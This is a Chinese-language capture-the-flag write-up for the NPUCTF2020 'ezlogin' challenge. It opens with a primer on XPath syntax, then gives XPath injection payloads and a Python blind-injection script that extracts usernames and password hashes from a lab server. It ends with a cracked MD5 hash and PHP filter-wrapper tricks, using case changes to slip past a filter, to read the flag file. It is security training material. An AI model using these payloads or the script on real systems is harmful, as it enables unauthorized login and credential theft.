前提知识
xpath基本语法
表达式 描述
nodename 选取此节点的所有子节点。
/ 从根节点选取。
// 从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。
. 选取当前节点。
.. 选取当前节点的父节点。
@ 选取属性。
路径表达式 结果
bookstore 选取 bookstore 元素的所有子节点。
/bookstore 选取根元素 bookstore。
注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!
bookstore/book 选取属于 bookstore 的子元素的所有 book 元素。
//book 选取所有 book 子元素,而不管它们在文档中的位置。
bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素
//@lang 选取名为 lang 的所有属性。
通配符 描述
* 匹配任何元素节点。
@* 匹配任何属性节点。
node() 匹配任何类型的节点。
没有注释,不能像sql一样,用注释杀掉后面语句
xpath注入基础
见上篇文章
' or 1=1 or ''='
']|//*|//*['
//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
[NPUCTF2020]ezlogin
信息收集
main.js
1. var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>"; 2. $.ajax({ 3. type: "POST", 4. url: "login.php", 5. contentType: "application/xml", 6. data: data, 7. anysc: false, 8. success: function (result, status, xhr) { 9. if(result == '成功'){ 10. window.location.href = 'admin.php'; 11. } 12. $(".msg").text(result); 13. 14. }, 15. error: function (XMLHttpRequest,textStatus,errorThrown) { 16. $(".msg").text(errorThrown + ':' + textStatus); 17. } 18. });
直接访问admin.php被重定向到index.php
提交后抓包看看
X-Requested-With: XMLHttpRequest
Content-Type: application/xml
这里看到XML自然联想到XXE和Xpath,再一看应该是xpath
Xpath盲注
尝试万能密码,非法操作
判断节点数测试
1. 'or count(/)=2 or ''=' ###根节点数量为2 2. 'or count(/)=1 or ''=' ###根节点数量为1
正确的时候返回非法操作,错误时显示用户名或密码错误,典型的盲注特征
抓包看看提交的内容编写payload
<username>'or substring(name(/*[1]), {X}, 1)='{Y}' or ''='</username><password>1</password><token>{token}</token> //这个playload会返回第一个节点的名称
在<username>里面的{X}中的X是一个变量,它指的是查询的元素X个字符,Y也是一个变量,是指我们猜测的字符,如果X=Y那么就会返回true,对应的我们的题目就会返回“非法操作!”
要注意的是,因为页面会不断的刷新,这个token的值也会一直变化,所以我们要保证每次请求数据都要拿到最新的token,name函数返回的是这个节点的元素名称。
去前端拿到token,生成正则
find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
盲注当然要用py脚本
1. import requests 2. import re 3. import time 4. 5. session = requests.session() 6. url = "http://d892dbc8-6dca-4922-b353-a9322a234bc0.node4.buuoj.cn:81/" 7. chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" 8. head = { 9. 'Content-Type': 'application/xml', 10. "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 11. } 12. find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S) 13. result = "" 14. #猜测根节点名称 15. payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" 16. #猜测子节点名称 17. payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" 18. #猜测accounts的节点 19. payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" 20. #猜测user节点 21. payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" 22. #跑用户名和密码 23. payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" 24. payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>" 25. 26. def get_token(): #获取token的函数 27. resp = session.get(url=url) #如果在这里用headers会得到超时的界面 28. token = find.findall(resp.text)[0] 29. #print(token) 30. return token 31. 32. for x in range(1,100): 33. for char in chars: 34. time.sleep(0.2) 35. token = get_token() 36. playload = payload_password.format(x, char, token) #根据上面的playload来改 37. #print(playload) 38. resp = session.post(url=url,headers=head, data=playload) 39. #print(resp.text) 40. if "非法操作" in resp.text: 41. result += char 42. print(result) 43. break 44. if "用户名或密码错误" in resp.text: 45. break 46. 47. print(result)
这里时间睡眠需要在0.2或者以上,否则会获取不到token而报错哦;
chars可以根据情况调整优先位置可以更快的跑出来
跑出来大概是这样
1. <root> 2. <accounts> 3. <user> 4. <id></id> 5. <username>guster</username> 6. <password>e10adc3949ba59abbe56e057f20f883e</password> 7. </user> 8. <user> 9. <id></id> 10. <username>adm1n</username> 11. <password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password> 12. </user> 13. </accounts> 14. </root>
MD解密cf7414b5bdb2e65ee43083f4ddbc4d9f得到gtfly123
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊
登录
Welcome!
ZmxhZyBpcyBpbiAvZmxhZwo=
flag is in /flag
1. /admin.php?file=/flag 2. ?file=file:///flag
用伪协议
php://filter/convert.base64-encode/resource=/flag
依然被拦截
?file=PHP://filter/convert.Base64-Encode/resource=/flag
查看源码获得字符串,base64解密获得flag